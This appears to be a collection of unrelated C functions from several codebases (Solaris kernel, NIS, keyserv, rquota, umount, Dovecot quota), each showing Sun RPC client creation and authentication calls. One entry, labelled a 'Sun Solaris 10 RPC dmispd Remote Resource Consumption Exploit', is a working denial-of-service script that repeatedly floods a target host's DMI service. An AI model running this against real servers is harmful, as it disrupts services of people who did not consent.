kmem_free(netname, nlen + 1); curthread->t_cred = savecred; *ap = auth; if (stat != 0) { /* * If AUTH_F_TRYNONE is on, try again * with AUTH_NONE. See bug 1180236. */ if (secdata->flags & AUTH_F_TRYNONE) { authflavor = AUTH_NONE; continue; } else return (stat); } i = clnt_authdes_cachesz; mutex_enter(&desauthtab_lock); do { da = &desauthtab[nextdesvictim++]; nextdesvictim %= clnt_authdes_cachesz; } while (da->da_inuse && --i > 0); if (da->da_inuse) { mutex_exit(&desauthtab_lock); /* overflow of des auths */ return (stat); } da->da_inuse = 1; mutex_exit(&desauthtab_lock); if (da->da_auth != NULL) auth_destroy(da->da_auth); da->da_auth = auth; da->da_uid = crgetuid(cr); da->da_zoneid = zoneid; da->da_data = secdata; return (stat); case RPCSEC_GSS: /* * For RPCSEC_GSS, cache is done in rpc_gss_secget(). * For every rpc_gss_secget(), it should have * a corresponding rpc_gss_secfree() call. */ gssdata = (gss_clntdata_t *)secdata->data; (void) sprintf(gss_svc_name, "%s@%s", gssdata->uname, gssdata->inst); stat = rpc_gss_secget(client, gss_svc_name, &gssdata->mechanism, gssdata->service, gssdata->qop, NULL, NULL, (caddr_t)secdata, cr, &auth); *ap = auth; /* success */ if (stat == 0) return (stat); /* * let the caller retry if connection timedout * or reset. */ if (stat == ETIMEDOUT || stat == ECONNRESET) return (stat); /* * If AUTH_F_TRYNONE is on, try again * with AUTH_NONE. See bug 1180236. */ if (secdata->flags & AUTH_F_TRYNONE) { authflavor = AUTH_NONE; continue; } RPCLOG(1, "sec_clnt_geth: rpc_gss_secget" " failed with %d", stat); return (stat); default: /* * auth create must have failed, try AUTH_NONE * (this relies on AUTH_NONE never failing) */ cmn_err(CE_NOTE, "sec_clnt_geth: unknown " "authflavor %d, trying AUTH_NONE", authflavor); authflavor = AUTH_NONE; } } }
log_result * nis_dumplog( nis_server *host, /* Server to talk to */ nis_name name, /* Directory name to dump. */ uint32_t dtime) /* Last _valid_ timestamp. */ { CLIENT *clnt; dump_args da; struct timeval tv; enum clnt_stat stat; log_result *result_ptr; result_ptr = calloc(1, sizeof (log_result)); if (result_ptr == NULL) { syslog(LOG_ERR, "nis_dumplog: Client out of memory."); return (NULL); } clnt = nis_make_rpchandle(host, 0, NIS_PROG, NIS_VERSION, ZMH_VC+ZMH_AUTH, 0, 0); if (! clnt) { result_ptr->lr_status = NIS_NAMEUNREACHABLE; return (result_ptr); } (void) memset((char *)&da, 0, sizeof (da)); da.da_dir = name; da.da_time = dtime; tv.tv_sec = NIS_DUMP_TIMEOUT; tv.tv_usec = 0; stat = clnt_call(clnt, NIS_DUMPLOG, xdr_dump_args, (char *)&da, xdr_log_result, (char *)result_ptr, tv); auth_destroy(clnt->cl_auth); clnt_destroy(clnt); /* * Now see if the RPC succeeded. Note that we have * to check for local vs. remote errors in order to * know whether the contents of the log_result record * (result_ptr) are meaningful. */ switch (stat) { case RPC_CANTENCODEARGS: case RPC_CANTDECODERES: case RPC_CANTSEND: case RPC_CANTRECV: case RPC_TIMEDOUT: case RPC_INTR: syslog(LOG_WARNING, "nis_dumplog: RPC error %d", stat); /* * This is a local error, so just return a * generic RPC error. */ result_ptr->lr_status = NIS_RPCERROR; break; default: /* * All other return values mean that result_ptr * already has a valid status code. */ break; } return (result_ptr); }
log_result * nis_dump( nis_server *host, /* Server to talk to */ nis_name name, /* Directory name to dump. */ int (*cback)()) /* Callback function */ { CLIENT *clnt; dump_args da; struct timeval tv; enum clnt_stat stat; int err; log_result *result_ptr; result_ptr = calloc(1, sizeof (log_result)); if (result_ptr == NULL) { syslog(LOG_ERR, "nis_dump: Client out of memory."); return (NULL); } clnt = nis_make_rpchandle(host, 0, NIS_PROG, NIS_VERSION, ZMH_VC+ZMH_AUTH, 0, 0); if (!clnt) { result_ptr->lr_status = NIS_NAMEUNREACHABLE; return (result_ptr); } (void) mutex_lock(&__nis_callback_lock); (void) memset((char *)&da, 0, sizeof (da)); da.da_dir = name; da.da_time = 0; da.da_cbhost.da_cbhost_len = 1; da.da_cbhost.da_cbhost_val = __nis_init_dump_callback(clnt, cback, NULL); if (! da.da_cbhost.da_cbhost_val) { (void) mutex_unlock(&__nis_callback_lock); result_ptr->lr_status = NIS_CBERROR; auth_destroy(clnt->cl_auth); clnt_destroy(clnt); return (result_ptr); } /* * The value of the NIS_DUMP_TIMEOUT is applicable only for the * dump to get initiated. */ tv.tv_sec = NIS_DUMP_TIMEOUT; tv.tv_usec = 0; stat = clnt_call(clnt, NIS_DUMP, xdr_dump_args, (char *)&da, xdr_log_result, (char *)result_ptr, tv); if (stat != RPC_SUCCESS) { result_ptr->lr_status = NIS_RPCERROR; } else if (result_ptr->lr_status == NIS_CBRESULTS) { (*__clear_directory_ptr)(name); err = __nis_run_dump_callback(&(result_ptr->lr_cookie), NIS_CALLBACK, 0, clnt); if (err < 0) result_ptr->lr_status = NIS_CBERROR; } (void) mutex_unlock(&__nis_callback_lock); auth_destroy(clnt->cl_auth); clnt_destroy(clnt); return (result_ptr); }
/* * Set the requested quota information on a remote host. */ int rpc_rquota_set(int qcmd, struct dquot *dquot) { #if defined(RPC_SETQUOTA) CLIENT *clnt; setquota_rslt *result; union { setquota_args arg; ext_setquota_args ext_arg; } args; char *fsname_tmp, *host, *pathname; struct timeval timeout = { 2, 0 }; int rquotaprog_not_registered = 0; int ret; /* RPC limits values to 32b variables. Prevent value wrapping. */ if (check_dquot_range(dquot) < 0) return -ERANGE; /* * Convert host:pathname to seperate host and pathname. */ fsname_tmp = (char *)smalloc(strlen(dquot->dq_h->qh_quotadev) + 1); strcpy(fsname_tmp, dquot->dq_h->qh_quotadev); if (!split_nfs_mount(fsname_tmp, &host, &pathname)) { free(fsname_tmp); return -ENOENT; } /* For NFSv4, we send the filesystem path without initial /. Server prepends proper * NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */ if ((dquot->dq_h->qh_io_flags & IOFL_NFS_MIXED_PATHS) && !strcmp(dquot->dq_h->qh_fstype, MNTTYPE_NFS4)) { while (*pathname == '/') pathname++; } /* * First try EXT_RQUOTAPROG (Extended (LINUX) RPC quota program) */ args.ext_arg.sqa_qcmd = qcmd; args.ext_arg.sqa_pathp = pathname; args.ext_arg.sqa_id = dquot->dq_id; args.ext_arg.sqa_type = dquot->dq_h->qh_type; cliutil2netdqblk(&args.ext_arg.sqa_dqblk, &dquot->dq_dqb); if ((clnt = clnt_create(host, RQUOTAPROG, EXT_RQUOTAVERS, "udp")) != NULL) { /* * Initialize unix authentication */ clnt->cl_auth = authunix_create_default(); /* * Setup protocol timeout. */ clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout); /* * Do RPC call and check result. */ result = rquotaproc_setquota_2(&args.ext_arg, clnt); if (result != NULL && result->status == Q_OK) clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota); /* * Destroy unix authentication and RPC client structure. */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } else { result = NULL; if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED) rquotaprog_not_registered = 1; } if (result == NULL || !result->status) { if (dquot->dq_h->qh_type == USRQUOTA) { /* * Try RQUOTAPROG because server doesn't seem to understand EXT_RQUOTAPROG. (NON-LINUX servers.) */ args.arg.sqa_qcmd = qcmd; args.arg.sqa_pathp = pathname; args.arg.sqa_id = dquot->dq_id; cliutil2netdqblk(&args.arg.sqa_dqblk, &dquot->dq_dqb); /* * Create a RPC client. */ if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) != NULL) { /* * Initialize unix authentication */ clnt->cl_auth = authunix_create_default(); /* * Setup protocol timeout. */ clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout); /* * Do RPC call and check result. */ result = rquotaproc_setquota_1(&args.arg, clnt); if (result != NULL && result->status == Q_OK) clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota); /* * Destroy unix authentication and RPC client structure. */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } else { result = NULL; if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED) rquotaprog_not_registered = 1; } } } free(fsname_tmp); if (result) ret = result->status; else if (rquotaprog_not_registered) ret = Q_NOQUOTA; else ret = -1; return rquota_err(ret); #endif return -1; }
/* * Keep the handle cached. This call may be made quite often. */ static CLIENT * getkeyserv_handle(int vers) { void *localhandle; struct netconfig *nconf; struct netconfig *tpconf; struct key_call_private *kcp = key_call_private_main; struct timeval wait_time; struct utsname u; int main_thread; int fd; static thread_key_t key_call_key; #define TOTAL_TIMEOUT 30 /* total timeout talking to keyserver */ #define TOTAL_TRIES 5 /* Number of tries */ if ((main_thread = thr_main())) { kcp = key_call_private_main; } else { if (key_call_key == 0) { mutex_lock(&tsd_lock); if (key_call_key == 0) thr_keycreate(&key_call_key, key_call_destroy); mutex_unlock(&tsd_lock); } kcp = (struct key_call_private *)thr_getspecific(key_call_key); } if (kcp == NULL) { kcp = (struct key_call_private *)malloc(sizeof (*kcp)); if (kcp == NULL) { return (NULL); } if (main_thread) key_call_private_main = kcp; else thr_setspecific(key_call_key, (void *) kcp); kcp->client = NULL; } /* if pid has changed, destroy client and rebuild */ if (kcp->client != NULL && kcp->pid != getpid()) { clnt_destroy(kcp->client); kcp->client = NULL; } if (kcp->client != NULL) { /* if uid has changed, build client handle again */ if (kcp->uid != geteuid()) { kcp->uid = geteuid(); auth_destroy(kcp->client->cl_auth); kcp->client->cl_auth = authsys_create("", kcp->uid, 0, 0, NULL); if (kcp->client->cl_auth == NULL) { clnt_destroy(kcp->client); kcp->client = NULL; return (NULL); } } /* Change the version number to the new one */ clnt_control(kcp->client, CLSET_VERS, (void *)&vers); return (kcp->client); } if (!(localhandle = setnetconfig())) { return (NULL); } tpconf = NULL; if (uname(&u) == -1) { endnetconfig(localhandle); return (NULL); } while ((nconf = getnetconfig(localhandle)) != NULL) { if (strcmp(nconf->nc_protofmly, NC_LOOPBACK) == 0) { /* * We use COTS_ORD here so that the caller can * find out immediately if the server is dead. */ if (nconf->nc_semantics == NC_TPI_COTS_ORD) { kcp->client = clnt_tp_create(u.nodename, KEY_PROG, vers, nconf); if (kcp->client) break; } else { tpconf = nconf; } } } if ((kcp->client == NULL) && (tpconf)) /* Now, try the CLTS or COTS loopback transport */ kcp->client = clnt_tp_create(u.nodename, KEY_PROG, vers, tpconf); endnetconfig(localhandle); if (kcp->client == NULL) { return (NULL); } kcp->uid = geteuid(); kcp->pid = getpid(); kcp->client->cl_auth = authsys_create("", kcp->uid, 0, 0, NULL); if (kcp->client->cl_auth == NULL) { clnt_destroy(kcp->client); kcp->client = NULL; return (NULL); } wait_time.tv_sec = TOTAL_TIMEOUT/TOTAL_TRIES; wait_time.tv_usec = 0; clnt_control(kcp->client, CLSET_RETRY_TIMEOUT, (char *)&wait_time); if (clnt_control(kcp->client, CLGET_FD, (char *)&fd)) _fcntl(fd, F_SETFD, 1); /* make it "close on exec" */ return (kcp->client); }
int yp_update(char *domain, char *map, unsigned op, char *key, int keylen, char *data, int datalen) { struct ypupdate_args args; uint_t rslt; struct timeval total; CLIENT *client; char *ypmaster; char ypmastername[MAXNETNAMELEN+1]; enum clnt_stat stat; uint_t proc; switch (op) { case YPOP_DELETE: proc = YPU_DELETE; break; case YPOP_INSERT: proc = YPU_INSERT; break; case YPOP_CHANGE: proc = YPU_CHANGE; break; case YPOP_STORE: proc = YPU_STORE; break; default: return (YPERR_BADARGS); } if (yp_master(domain, map, &ypmaster) != 0) { debug("no master found"); return (YPERR_BADDB); } client = clnt_create(ypmaster, YPU_PROG, YPU_VERS, "circuit_n"); if (client == NULL) { #ifdef DEBUG /* CONSTCOND */ if (debugging) { clnt_pcreateerror("client create failed"); } #endif /* DEBUG */ free(ypmaster); return (YPERR_RPC); } if (!host2netname(ypmastername, ypmaster, domain)) { clnt_destroy(client); free(ypmaster); return (YPERR_BADARGS); } client->cl_auth = authdes_seccreate(ypmastername, WINDOW, ypmaster, NULL); free(ypmaster); if (client->cl_auth == NULL) { debug("auth create failed"); clnt_destroy(client); return (YPERR_RPC); } args.mapname = map; args.key.yp_buf_len = keylen; args.key.yp_buf_val = key; args.datum.yp_buf_len = datalen; args.datum.yp_buf_val = data; total.tv_sec = TOTAL_TIMEOUT; total.tv_usec = 0; clnt_control(client, CLSET_TIMEOUT, (char *)&total); stat = clnt_call(client, proc, xdr_ypupdate_args, (char *)&args, xdr_u_int, (char *)&rslt, total); if (stat != RPC_SUCCESS) { #ifdef DEBUG debug("ypupdate RPC call failed"); /* CONSTCOND */ if (debugging) clnt_perror(client, "ypupdate call failed"); #endif /* DEBUG */ rslt = YPERR_RPC; } auth_destroy(client->cl_auth); clnt_destroy(client); return (rslt); }
main( int argc, char * argv[] ) { struct timeval intervalle = { TIMEOUT_SEC, 0 }; CLIENT * client ; int c ; struct rpcent * etc_rpc ; /* pour consulter /etc/rpc ou rpc.bynumber */ unsigned int adresse_serveur ; /* Au format NET */ struct hostent * hp ; char nom_exec[MAXPATHLEN] ; char machine_locale[256] ; char * tempo_nom_exec = NULL ; unsigned int rpc_service_num = DEFAULT_RPC_SERVICE ; unsigned int rpc_version = V1 ; unsigned int rpcproc = PROC_PLUS1 ; unsigned short port = ntohs( DEFAULT_PORT ) ; int val = 2 ; int rc ; char gss_service[1024] ; char host[100] ; strcpy( ifname, "eth0" ) ; /* On recupere le nom de l'executable */ if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL ) strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ; strcpy( ifname, "eth0" ) ; while( ( c = getopt( argc, argv, options ) ) != EOF ) { switch( c ) { case 'd': /* Cette option permet de recuperer un nom pour la machine distante */ if( isalpha( *optarg ) ) { strcpy( host, optarg ) ; } else { adresse_serveur = inet_addr( optarg ) ; } break; case 's': /* Un nom ou un numero de service a ete indique */ if( isalpha( (int)*optarg ) ) { /* Ca commence pas par un chiffre donc c'est un nom service */ if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL ) { fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ; } else { rpc_service_num = etc_rpc->r_number ; } } else { /* C'est un numero de service qui est indique */ rpc_service_num = atoi( optarg ) ; } break ; case 'v': /* numero de version */ rpc_version = atoi( optarg ) ; break ; case 'p': rpcproc = atoi( optarg ) ; break ; case 'I': strcpy( ifname, optarg ) ; break ; case 'h': case '?': default: /* Affichage de l'aide en ligne */ fprintf( stderr, utilisation, nom_exec ) ; exit( 0 ) ; break ; } } if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL ) { char erreur[100] ; strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ; fprintf( stderr, "Creation RPC: %s\n", erreur ) ; exit( 1 ) ; } client->cl_auth = authunix_create_default(); val = 2 ; fprintf( stderr, "J'envoie la valeur %d\n", val ) ; if( ( rc = clnt_call( client, rpcproc, (xdrproc_t)xdr_int, (caddr_t)&val, (xdrproc_t)xdr_int, (caddr_t)&val, intervalle ) ) != RPC_SUCCESS ) { clnt_perror( client, "appel a FIXE_RET\n" ) ; exit ( 1 ) ; } fprintf( stderr, "Je recois la valeur %d\n", val ) ; auth_destroy( client->cl_auth ) ; clnt_destroy( client ) ; }
int umountfs(char *oname) { enum clnt_stat clnt_stat; struct hostent *hp; struct sockaddr_in saddr; struct stat sb; struct timeval pertry, try; CLIENT *clp; int so; char *delimp, *hostp, *mntpt; char *name, *newname, rname[MAXPATHLEN], type[MFSNAMELEN]; if (realpath(oname, rname) == NULL) mntpt = name = oname; else mntpt = name = rname; newname = NULL; /* If we can stat the file, check to see if it is a device or non-dir */ if (stat(name, &sb) == 0) { if (S_ISBLK(sb.st_mode)) { if ((mntpt = getmntname(name, MNTON, type)) == NULL) { warnx("%s: not currently mounted", name); return (1); } } else if (!S_ISDIR(sb.st_mode)) { warnx("%s: not a directory or special device", name); return (1); } } /* * Look up the name in the mount table. * 99.9% of the time the path in the kernel is the one * realpath() returns but check the original just in case... */ if (!(newname = getmntname(name, MNTFROM, type)) && !(mntpt = getmntname(name, MNTON, type)) ) { mntpt = oname; if (!(newname = getmntname(oname, MNTFROM, type)) && !(mntpt = getmntname(oname, MNTON, type))) { warnx("%s: not currently mounted", oname); return (1); } } if (newname) name = newname; if (!selected(type)) return (1); if (!strncmp(type, MOUNT_NFS, MFSNAMELEN)) { if ((delimp = strchr(name, '@')) != NULL) { hostp = delimp + 1; *delimp = '\0'; hp = gethostbyname(hostp); *delimp = '@'; } else if ((delimp = strchr(name, ':')) != NULL) { *delimp = '\0'; hostp = name; hp = gethostbyname(hostp); name = delimp + 1; *delimp = ':'; } else hp = NULL; if (!namematch(hp)) return (1); } if (verbose) (void)printf("%s: unmount from %s\n", name, mntpt); if (unmount(mntpt, fflag) < 0) { warn("%s", mntpt); return (1); } if (!strncmp(type, MOUNT_NFS, MFSNAMELEN) && (hp != NULL) && !(fflag & MNT_FORCE)) { *delimp = '\0'; memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = 0; memmove(&saddr.sin_addr, hp->h_addr, hp->h_length); pertry.tv_sec = 3; pertry.tv_usec = 0; so = RPC_ANYSOCK; if ((clp = clntudp_create(&saddr, RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) { clnt_pcreateerror("Cannot MNT PRC"); return (1); } clp->cl_auth = authunix_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, RPCMNT_UMOUNT, xdr_dir, name, xdr_void, (caddr_t)0, try); if (clnt_stat != RPC_SUCCESS) { clnt_perror(clp, "Bad MNT RPC"); return (1); } auth_destroy(clp->cl_auth); clnt_destroy(clp); }
enum clnt_stat rpcbind_getaddr(struct knetconfig *config, rpcprog_t prog, rpcvers_t vers, struct netbuf *addr) { char *ua = NULL; enum clnt_stat status; RPCB parms; struct timeval tmo; CLIENT *client = NULL; k_sigset_t oldmask; k_sigset_t newmask; ushort_t port; int iptype; /* * Call rpcbind (local or remote) to get an address we can use * in an RPC client handle. */ tmo.tv_sec = RPC_PMAP_TIMEOUT; tmo.tv_usec = 0; parms.r_prog = prog; parms.r_vers = vers; parms.r_addr = parms.r_owner = ""; if (strcmp(config->knc_protofmly, NC_INET) == 0) { if (strcmp(config->knc_proto, NC_TCP) == 0) parms.r_netid = "tcp"; else parms.r_netid = "udp"; put_inet_port(addr, htons(PMAPPORT)); } else if (strcmp(config->knc_protofmly, NC_INET6) == 0) { if (strcmp(config->knc_proto, NC_TCP) == 0) parms.r_netid = "tcp6"; else parms.r_netid = "udp6"; put_inet6_port(addr, htons(PMAPPORT)); } else if (strcmp(config->knc_protofmly, NC_LOOPBACK) == 0) { ASSERT(strnrchr(addr->buf, '.', addr->len) != NULL); if (config->knc_semantics == NC_TPI_COTS_ORD) parms.r_netid = "ticotsord"; else if (config->knc_semantics == NC_TPI_COTS) parms.r_netid = "ticots"; else parms.r_netid = "ticlts"; put_loopback_port(addr, "rpc"); } else { status = RPC_UNKNOWNPROTO; goto out; } /* * Mask signals for the duration of the handle creation and * RPC calls. This allows relatively normal operation with a * signal already posted to our thread (e.g., when we are * sending an NLM_CANCEL in response to catching a signal). * * Any further exit paths from this routine must restore * the original signal mask. */ sigfillset(&newmask); sigreplace(&newmask, &oldmask); if (clnt_tli_kcreate(config, addr, RPCBPROG, RPCBVERS, 0, 0, CRED(), &client)) { status = RPC_TLIERROR; sigreplace(&oldmask, (k_sigset_t *)NULL); goto out; } client->cl_nosignal = 1; if ((status = CLNT_CALL(client, RPCBPROC_GETADDR, xdr_rpcb, (char *)&parms, xdr_wrapstring, (char *)&ua, tmo)) != RPC_SUCCESS) { sigreplace(&oldmask, (k_sigset_t *)NULL); goto out; } sigreplace(&oldmask, (k_sigset_t *)NULL); if (ua == NULL || *ua == NULL) { status = RPC_PROGNOTREGISTERED; goto out; } /* * Convert the universal address to the transport address. * Theoretically, we should call the local rpcbind to translate * from the universal address to the transport address, but it gets * complicated (e.g., there's no direct way to tell rpcbind that we * want an IP address instead of a loopback address). Note that * the transport address is potentially host-specific, so we can't * just ask the remote rpcbind, because it might give us the wrong * answer. */ if (strcmp(config->knc_protofmly, NC_INET) == 0) { /* make sure that the ip address is the correct type */ if (rpc_iptype(ua, &iptype) != 0) { status = RPC_UNKNOWNADDR; goto out; } port = rpc_uaddr2port(iptype, ua); put_inet_port(addr, ntohs(port)); } else if (strcmp(config->knc_protofmly, NC_INET6) == 0) { /* make sure that the ip address is the correct type */ if (rpc_iptype(ua, &iptype) != 0) { status = RPC_UNKNOWNADDR; goto out; } port = rpc_uaddr2port(iptype, ua); put_inet6_port(addr, ntohs(port)); } else if (strcmp(config->knc_protofmly, NC_LOOPBACK) == 0) { loopb_u2t(ua, addr); } else { /* "can't happen" - should have been checked for above */ cmn_err(CE_PANIC, "rpcbind_getaddr: bad protocol family"); } out: if (client != NULL) { auth_destroy(client->cl_auth); clnt_destroy(client); } if (ua != NULL) xdr_free(xdr_wrapstring, (char *)&ua); return (status); }
int main(int argc, char *argv[]) { char b[SIZE], *buf, *target = argv[1]; int i, usock = RPC_ANYSOCK; struct hostent *hp; struct sockaddr_in us; struct timeval tm={10, 0}; CLIENT *cli; enum clnt_stat clnt_stat; if(argc < 2) { printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n"); printf("Usage: %s <target>\n\n", argv[0]); return 0; } printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n"); if((hp = gethostbyname(target)) == NULL) { perror("gethostbyname"); exit(-1); } memcpy(&us.sin_addr.s_addr, hp->h_addr, 4); us.sin_family = AF_INET; us.sin_port = 0; if((cli = clntudp_create(&us, PROG_NUM, PROG_VER, tm, &usock)) == (CLIENT *)NULL) { clnt_pcreateerror("clntudp_create"); exit(-1); } cli->cl_auth = authunix_create_default(); memset(b, 'A', sizeof(b)); buf = b; printf("\nConsuming Resources @ %s [P:%d V:%d F:%d]...\n\n", target, PROG_NUM, PROG_VER, DMIPROC_ADDROW); for(i = 0; i < LOOP; i++) { printf("--> #%d\n", i+1); clnt_stat = clnt_call(cli, DMIPROC_ADDROW, (xdrproc_t)xdr_wrapstring, (char *)&buf, (xdrproc_t)xdr_wrapstring, (char *)&buf, tm); if(clnt_stat != RPC_SUCCESS) clnt_perror(cli, "rpc"); } printf("\nFinished. Now your sun server may recover :)\n\n"); // restart dmi services to try again auth_destroy(cli->cl_auth); clnt_destroy(cli); }
static int do_rquota_user(struct fs_quota_root *root, bool bytes, uint64_t *value_r, uint64_t *limit_r) { struct getquota_rslt result; struct getquota_args args; struct timeval timeout; enum clnt_stat call_status; CLIENT *cl; struct fs_quota_mountpoint *mount = root->mount; const char *host; char *path; path = strchr(mount->device_path, ':'); i_assert(path != NULL); host = t_strdup_until(mount->device_path, path); path++; /* For NFSv4, we send the filesystem path without initial /. Server prepends proper NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */ if (strcmp(root->mount->type, "nfs4") == 0) { while (*path == '/') path++; } if (root->root.quota->set->debug) { i_debug("quota-fs: host=%s, path=%s, uid=%s, %s", host, path, dec2str(root->uid), bytes ? "bytes" : "files"); } /* clnt_create() polls for a while to establish a connection */ cl = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp"); if (cl == NULL) { i_error("quota-fs: could not contact RPC service on %s", host); return -1; } /* Establish some RPC credentials */ auth_destroy(cl->cl_auth); cl->cl_auth = authunix_create_default(); /* make the rquota call on the remote host */ args.gqa_pathp = path; args.gqa_uid = root->uid; timeout.tv_sec = RQUOTA_GETQUOTA_TIMEOUT_SECS; timeout.tv_usec = 0; call_status = clnt_call(cl, RQUOTAPROC_GETQUOTA, (xdrproc_t)xdr_getquota_args, (char *)&args, (xdrproc_t)xdr_getquota_rslt, (char *)&result, timeout); /* the result has been deserialized, let the client go */ auth_destroy(cl->cl_auth); clnt_destroy(cl); if (call_status != RPC_SUCCESS) { const char *rpc_error_msg = clnt_sperrno(call_status); i_error("quota-fs: remote rquota call failed: %s", rpc_error_msg); return -1; } switch (result.status) { case Q_OK: { rquota_get_result(&result.getquota_rslt_u.gqr_rquota, bytes, value_r, limit_r); if (root->root.quota->set->debug) { i_debug("quota-fs: uid=%s, value=%llu, limit=%llu", dec2str(root->uid), (unsigned long long)*value_r, (unsigned long long)*limit_r); } return 1; } case Q_NOQUOTA: if (root->root.quota->set->debug) { i_debug("quota-fs: uid=%s, limit=unlimited", dec2str(root->uid)); } return 1; case Q_EPERM: i_error("quota-fs: permission denied to rquota service"); return -1; default: i_error("quota-fs: unrecognized status code (%d) " "from rquota service", result.status); return -1; } }
CLIENT * getkwarnd_handle(void) { void *localhandle; struct netconfig *nconf; struct netconfig *tpconf; struct timeval wait_time; struct utsname u; static char *hostname; static bool_t first_time = TRUE; /* * Total timeout (in seconds) talking to kwarnd. */ #define TOTAL_TIMEOUT 5 if (kwarn_clnt) return (kwarn_clnt); if (!(localhandle = setnetconfig())) return (NULL); tpconf = NULL; if (first_time == TRUE) { if (uname(&u) == -1) { (void) endnetconfig(localhandle); return ((CLIENT *)NULL); } if ((hostname = strdup(u.nodename)) == (char *)NULL) { (void) endnetconfig(localhandle); return ((CLIENT *)NULL); } first_time = FALSE; } while (nconf = getnetconfig(localhandle)) { if (strcmp(nconf->nc_protofmly, NC_LOOPBACK) == 0) { if (nconf->nc_semantics == NC_TPI_COTS_ORD) { kwarn_clnt = clnt_tp_create(hostname, KWARNPROG, KWARNVERS, nconf); if (kwarn_clnt) { dprt("got COTS_ORD\n"); break; } } else { tpconf = nconf; } } } if ((kwarn_clnt == NULL) && (tpconf)) { /* Now, try the connection-oriented loopback transport */ kwarn_clnt = clnt_tp_create(hostname, KWARNPROG, KWARNVERS, tpconf); #ifdef DEBUG if (kwarn_clnt) { dprt("got COTS\n"); } #endif /* DEBUG */ } (void) endnetconfig(localhandle); /* * This bit of code uses an as yet unimplemented argument to * clnt_control(). CLSET_SVC_PRIV specifies that the underlying * loopback transport should be checked to ensure it is * connected to a process running as root. If so, the clnt_control() * call returns TRUE. If not, it returns FALSE. */ #ifdef CLSET_SVC_PRIV if (clnt_control(kwarn_clnt, CLSET_SVC_PRIV, NULL) != TRUE) { clnt_destroy(kwarn_clnt); kwarn_clnt = NULL; return (NULL); { #endif if (kwarn_clnt == NULL) return (NULL); kwarn_clnt->cl_auth = authsys_create("", getuid(), 0, 0, NULL); if (kwarn_clnt->cl_auth == NULL) { clnt_destroy(kwarn_clnt); kwarn_clnt = NULL; return (NULL); } wait_time.tv_sec = TOTAL_TIMEOUT; wait_time.tv_usec = 0; (void) clnt_control(kwarn_clnt, CLSET_TIMEOUT, (char *)&wait_time); return (kwarn_clnt); } void resetkwarnd_handle(void) { auth_destroy(kwarn_clnt->cl_auth); clnt_destroy(kwarn_clnt); kwarn_clnt = NULL; }
/* * RPC calls to the keyserv. * * If (use_ruid == 1), use real uid. * If (use_ruid == 0), use effective uid. * Returns 0 on failure, 1 on success */ int key_call_ext(rpcproc_t proc, xdrproc_t xdr_arg, char *arg, xdrproc_t xdr_rslt, char *rslt, int use_ruid) { CLIENT *clnt; struct timeval wait_time = {0, 0}; enum clnt_stat status; int vers; if (proc == KEY_ENCRYPT_PK && __key_encryptsession_pk_LOCAL) { cryptkeyres res; bool_t r; r = (*__key_encryptsession_pk_LOCAL)(geteuid(), arg, &res); if (r == TRUE) { /* LINTED pointer alignment */ *(cryptkeyres*)rslt = res; return (1); } return (0); } if (proc == KEY_DECRYPT_PK && __key_decryptsession_pk_LOCAL) { cryptkeyres res; bool_t r; r = (*__key_decryptsession_pk_LOCAL)(geteuid(), arg, &res); if (r == TRUE) { /* LINTED pointer alignment */ *(cryptkeyres*)rslt = res; return (1); } return (0); } if (proc == KEY_GEN && __key_gendes_LOCAL) { des_block res; bool_t r; r = (*__key_gendes_LOCAL)(geteuid(), 0, &res); if (r == TRUE) { /* LINTED pointer alignment */ *(des_block*)rslt = res; return (1); } return (0); } if ((proc == KEY_ENCRYPT_PK) || (proc == KEY_DECRYPT_PK) || (proc == KEY_NET_GET) || (proc == KEY_NET_PUT) || (proc == KEY_GET_CONV)) vers = 2; /* talk to version 2 */ else vers = 1; /* talk to version 1 */ clnt = getkeyserv_handle(vers, 0); if (clnt == NULL) return (0); auth_destroy(clnt->cl_auth); if (use_ruid) clnt->cl_auth = authsys_create_ruid(); else clnt->cl_auth = authnone_create(); status = CLNT_CALL(clnt, proc, xdr_arg, arg, xdr_rslt, rslt, wait_time); switch (status) { case RPC_SUCCESS: return (1); case RPC_CANTRECV: /* * keyserv was probably restarted, so we'll try once more */ if ((clnt = getkeyserv_handle(vers, 1)) == NULL) return (0); auth_destroy(clnt->cl_auth); if (use_ruid) clnt->cl_auth = authsys_create_ruid(); else clnt->cl_auth = authnone_create(); if (CLNT_CALL(clnt, proc, xdr_arg, arg, xdr_rslt, rslt, wait_time) == RPC_SUCCESS) return (1); return (0); default: return (0); } }
